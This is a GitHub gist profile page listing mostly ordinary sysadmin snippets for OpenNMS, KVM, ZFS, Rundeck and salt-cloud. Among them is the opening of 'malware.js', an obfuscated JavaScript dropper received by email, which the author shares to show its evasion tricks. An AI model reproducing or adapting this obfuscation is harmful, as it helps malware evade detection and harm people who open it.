Skip to content

Instantly share code, notes, and snippets.

View unicolet's full-sized avatar

Umberto Nicoletti unicolet

View GitHub Profile
@unicolet
unicolet / opennms_event_param_functions.sql
Last active April 22, 2016 08:21
Two postgres functions to retrieve param values from OpenNMS events.eventparms column. Tested on postgres 9.4
CREATE OR REPLACE FUNCTION event_pval_num(p_eventparams text, p_param text) RETURNS integer AS $$
BEGIN
RETURN (regexp_matches(p_eventparams,p_param||'=(\d+)'))[1];
END;
$$ LANGUAGE plpgsql;
CREATE OR REPLACE FUNCTION event_pval_txt(p_eventparams text, p_param text) RETURNS text AS $$
BEGIN
RETURN (regexp_matches(p_eventparams,p_param||'=(.*?)\(string'))[1];
END;
@unicolet
unicolet / malware.js
Created April 4, 2016 09:37
Received this in a zip attachment. Just look at all that evasion text.
dnWuANlWi = "} An object can be passed to jQuery.data instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } ";
var enter = 0;
var enter1 = 7*2*7 + enter;
nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1);
var enter2 = 3/3;
String.prototype.borax = function () {
var catalogues = {
repel: this
};
catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2);
@unicolet
unicolet / virt-install_auto.sh
Last active January 10, 2016 16:19
A one-liner to create a new KVM guest, including guest agent support
virt-install --name "guest01" --memory 2048
-l http://your.ris.server/ris/centos71
-x "ks=http://your.ris.server/ris/ks.cfg console=ttyS0"
--disk size=8,pool=your_pool,bus=virtio,format=qcow2
-w default
--graphics vnc
--channel unix,mode=bind,path=/var/lib/libvirt/qemu/guest01.agent,target_type=virtio,name=org.qemu.guest_agent.0
@unicolet
unicolet / itank-pool.service
Created December 22, 2015 19:51
How to automatically import a ZFS pool built on top of iSCSI devices with systemd
[Unit]
After=dev-disk-by\x2did-wwn\x2d0x60014057ab42867d066fd393edb4abd6.device
[Service]
ExecStart=/usr/sbin/zpool import itank
ExecStartPost=/usr/bin/logger "started ZFS pool itank"
[Install]
WantedBy=dev-disk-by\x2did-wwn\x2d0x60014057ab42867d066fd393edb4abd6.device
@unicolet
unicolet / linode.py.patch
Created December 13, 2015 14:39
salt-cloud linode patch
--- /usr/lib/python2.7/site-packages/salt/cloud/clouds/linode.py.orig 2015-12-12 16:32:49.860428104 +0100
+++ /usr/lib/python2.7/site-packages/salt/cloud/clouds/linode.py 2015-12-12 17:09:37.384331055 +0100
@@ -537,6 +537,18 @@
'disk_size', vm_, __opts__, default=disksize - swap
)
+ def get_data_disk_size(vm_, size, swap):
+ '''
+ Return the size of of the data disk in MB
+ '''
@unicolet
unicolet / gist:1ffae057003c1c0e0cef
Created June 25, 2015 16:39
camel-elasticsearch error in osgi
opennms> features:install opennms-elasticsearch-event-forwarder
ERROR: Bundle org.opennms.features.elasticsearch.event-forwarder [184] EventDispatcher: Error during dispatch. (java.lang.NoClassDefFoundError: org/apache/lucene/store/IndexInput)
java.lang.NoClassDefFoundError: org/apache/lucene/store/IndexInput
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:760)
at org.apache.felix.framework.BundleWiringImpl$BundleClassLoader.findClass(BundleWiringImpl.java:2318)
at org.apache.felix.framework.BundleWiringImpl.findClassOrResourceByDelegation(BundleWiringImpl.java:1524)
at org.apache.felix.framework.BundleWiringImpl.access$400(BundleWiringImpl.java:77)
at org.apache.felix.framework.BundleWiringImpl$BundleClassLoader.loadClass(BundleWiringImpl.java:1993)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
package org.opennms.netmgt.correlation.drools;
import java.util.Date;
import java.util.Calendar;
import org.opennms.netmgt.correlation.drools.DroolsCorrelationEngine;
import org.opennms.netmgt.xml.event.Event;
import org.opennms.netmgt.xml.event.Parms;
import org.opennms.netmgt.xml.event.Parm;
import org.opennms.netmgt.xml.event.Value;
import org.opennms.netmgt.model.events.EventBuilder;
@unicolet
unicolet / rd-clean.sh
Created April 8, 2015 10:40
Shell script to purge Rundeck execution history
#!/bin/sh
# setup ~/.pgpass to allow passwordless connection to postgres
# keep last 30 executions for each job
KEEP=30
cd /var/lib/rundeck/logs/rundeck
JOBS=`find . -maxdepth 3 -path "*/job/*" -type d`
package your.package.here;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.validation.constraints.NotNull;
import org.jasig.cas.CentralAuthenticationService;
import org.jasig.cas.Message;
import org.jasig.cas.authentication.AuthenticationException;
<!--
starts first, then stops. All other routes start after this one has completed
Same as: curl -XPUT http://localhost:9200/_template/opennms -d @elmapping.json
-->
<route id="elastisearchTemplateMapping" autoStartup="true" startupOrder="1">
<from uri="timer://runOnce?repeatCount=1&amp;delay=0"/>
<setHeader headerName="CamelHttpMethod">
<constant>PUT</constant>
</setHeader>
<setHeader headerName="CamelContentType">